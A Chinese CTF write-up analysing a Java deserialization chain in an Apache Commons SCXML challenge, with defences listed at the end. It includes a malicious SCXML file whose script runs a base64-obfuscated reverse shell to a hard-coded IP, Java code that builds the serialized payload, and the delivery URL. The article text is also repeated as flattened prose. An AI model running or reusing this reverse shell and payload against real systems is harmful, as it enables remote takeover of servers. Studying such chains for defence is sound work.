从一道java题体验 scxml漏洞
字数 1158 2025-08-22 18:37:14

Apache Commons SCXML 反序列化远程代码执行漏洞分析与利用

漏洞概述

本文详细分析Apache Commons SCXML组件中的一个反序列化漏洞,该漏洞允许攻击者通过构造特定的序列化对象,在目标服务器上实现远程代码执行(RCE)。漏洞存在于SCXML组件的InvokerImpl类中,当该对象被反序列化并调用toString()方法时,会触发远程XML文件加载和执行恶意脚本。

漏洞背景

SCXML (State Chart XML) 是一种基于XML的状态机描述语言,Apache Commons SCXML是它的Java实现。该漏洞的核心在于:

  1. 存在一个可序列化的InvokerImpl类,其toString()方法会调用invoke()方法
  2. invoke()方法可以加载远程SCXML文件并执行其中的脚本
  3. 当应用程序存在反序列化点且会调用反序列化对象的toString()方法时,就可能被利用

漏洞分析

关键代码分析

漏洞入口点 (Test.java):

public class Test {
    public static void main(String[] args) throws IOException {
        HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
        server.createContext("/", new RequestHandler());
        server.start();
    }
    
    static class RequestHandler implements HttpHandler {
        private String handleScxmlRequest(HttpExchange exchange) {
            String param = exchange.getRequestURI().getQuery();
            byte[] decodedBytes = Base64.getDecoder().decode(param);
            try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedBytes))) {
                return ois.readObject().toString();  // 反序列化并调用toString()
            }
        }
    }
}

漏洞触发点 (InvokerImpl.java):

public class InvokerImpl implements Serializable {
    private final Invoker o;
    private final String source;
    private final Map params;

    public String toString() {
        try {
            this.o.invoke(this.source, this.params);  // 调用invoke方法
            return "success invoke";
        } catch (InvokerException var2) {
            throw new RuntimeException(var2);
        }
    }
}

恶意功能点 (SimpleSCXMLInvoker.java):

public void invoke(String source, Map<String, Object> params) throws InvokerException {
    SCXML scxml = SCXMLReader.read(new URL(source));  // 加载远程XML
    Evaluator eval = this.parentSCInstance.getEvaluator();
    this.executor = new SCXMLExecutor(eval, new SimpleDispatcher(), new SimpleErrorReporter());
    this.executor.setStateMachine(scxml);
    this.executor.go();  // 执行XML中定义的脚本
}

漏洞利用链

完整的利用链如下:

  1. 构造恶意的InvokerImpl对象
  2. 设置source参数为攻击者控制的远程XML URL
  3. 序列化该对象并通过Base64编码
  4. 将编码后的payload发送到存在漏洞的端点
  5. 服务器反序列化对象并调用toString()
  6. toString()触发invoke()方法加载远程XML
  7. 远程XML中的恶意脚本被执行

漏洞利用

环境准备

需要以下依赖:

  • Apache Commons SCXML 2.0+
  • JEXL (用于表达式求值)

利用步骤

  1. 准备恶意XML文件 (如poc.xml):
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <script>
                ''.getClass().forName('java.lang.Runtime')
                   .getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzIuMjIyLjE5NS8yMzMzIDA+JjEK}|{base64,-d}|{bash,-i}')
            </script>
        </onentry>
    </state>
</scxml>
  1. 构造利用代码:
import com.n1ght.InvokerImpl;
import org.apache.commons.scxml2.*;
import org.apache.commons.scxml2.env.*;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class Exploit {
    public static void main(String[] args) throws Exception {
        // 1. 创建必要的组件
        JexlEvaluator jexlEvaluator = new JexlEvaluator();
        SCXMLExecutor scxmlExecutor = new SCXMLExecutor(jexlEvaluator, 
            new SimpleDispatcher(), new SimpleErrorReporter());
        
        // 2. 通过反射创建SCInstance并设置evaluator
        Class<?> clazz = Class.forName("org.apache.commons.scxml2.SCInstance");
        Constructor<?> constructor = clazz.getDeclaredConstructor(SCXMLExecutor.class);
        constructor.setAccessible(true);
        SCInstance scInstance = (SCInstance) constructor.newInstance(scxmlExecutor);
        setFieldValue(scInstance, "evaluator", jexlEvaluator);
        
        // 3. 创建SimpleSCXMLInvoker并设置parentSCInstance
        SimpleSCXMLInvoker simpleSCXMLInvoker = new SimpleSCXMLInvoker();
        setFieldValue(simpleSCXMLInvoker, "parentSCInstance", scInstance);
        
        // 4. 构造InvokerImpl对象
        String source = "http://attacker.com/poc.xml"; // 恶意XML地址
        Map<String, String> params = new HashMap<>();
        InvokerImpl invokerImpl = new InvokerImpl(simpleSCXMLInvoker, source, params);
        
        // 5. 序列化并Base64编码
        String payload = serializeToBase64(invokerImpl);
        System.out.println("Payload: " + payload);
    }
    
    // 辅助方法:设置私有字段值
    public static void setFieldValue(Object obj, String field, Object value) 
            throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
    
    // 辅助方法:序列化对象为Base64
    public static String serializeToBase64(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }
}
  1. 发送Payload:
    将生成的Base64 payload作为查询参数发送到漏洞端点:
http://vulnerable-server:8000/scxml?<base64-payload>

防御措施

  1. 输入验证:

    • 避免直接反序列化用户提供的输入
    • 使用白名单验证反序列化的类
  2. 安全配置:

    • 更新到最新版本的Apache Commons SCXML
    • 使用Java安全管理器限制网络访问和脚本执行
  3. 代码加固:

    • 重写ObjectInputStreamresolveClass()方法进行类过滤
    • 使用SerialKiller等工具进行安全的反序列化
  4. 网络防护:

    • 限制服务器出站连接
    • 监控异常的网络请求

总结

该漏洞展示了反序列化漏洞的典型利用模式,结合了SCXML组件的远程加载功能实现RCE。防御此类漏洞需要多层次的安全措施,包括输入验证、安全配置和运行时保护。开发者应特别注意任何反序列化用户输入的场景,并实施适当的安全控制。

Apache Commons SCXML 反序列化远程代码执行漏洞分析与利用 漏洞概述 本文详细分析Apache Commons SCXML组件中的一个反序列化漏洞,该漏洞允许攻击者通过构造特定的序列化对象,在目标服务器上实现远程代码执行(RCE)。漏洞存在于SCXML组件的 InvokerImpl 类中,当该对象被反序列化并调用 toString() 方法时,会触发远程XML文件加载和执行恶意脚本。 漏洞背景 SCXML (State Chart XML) 是一种基于XML的状态机描述语言,Apache Commons SCXML是它的Java实现。该漏洞的核心在于: 存在一个可序列化的 InvokerImpl 类,其 toString() 方法会调用 invoke() 方法 invoke() 方法可以加载远程SCXML文件并执行其中的脚本 当应用程序存在反序列化点且会调用反序列化对象的 toString() 方法时,就可能被利用 漏洞分析 关键代码分析 漏洞入口点 (Test.java): 漏洞触发点 (InvokerImpl.java): 恶意功能点 (SimpleSCXMLInvoker.java): 漏洞利用链 完整的利用链如下: 构造恶意的 InvokerImpl 对象 设置 source 参数为攻击者控制的远程XML URL 序列化该对象并通过Base64编码 将编码后的payload发送到存在漏洞的端点 服务器反序列化对象并调用 toString() toString() 触发 invoke() 方法加载远程XML 远程XML中的恶意脚本被执行 漏洞利用 环境准备 需要以下依赖: Apache Commons SCXML 2.0+ JEXL (用于表达式求值) 利用步骤 准备恶意XML文件 (如poc.xml): 构造利用代码 : 发送Payload : 将生成的Base64 payload作为查询参数发送到漏洞端点: 防御措施 输入验证 : 避免直接反序列化用户提供的输入 使用白名单验证反序列化的类 安全配置 : 更新到最新版本的Apache Commons SCXML 使用Java安全管理器限制网络访问和脚本执行 代码加固 : 重写 ObjectInputStream 的 resolveClass() 方法进行类过滤 使用 SerialKiller 等工具进行安全的反序列化 网络防护 : 限制服务器出站连接 监控异常的网络请求 总结 该漏洞展示了反序列化漏洞的典型利用模式,结合了SCXML组件的远程加载功能实现RCE。防御此类漏洞需要多层次的安全措施,包括输入验证、安全配置和运行时保护。开发者应特别注意任何反序列化用户输入的场景,并实施适当的安全控制。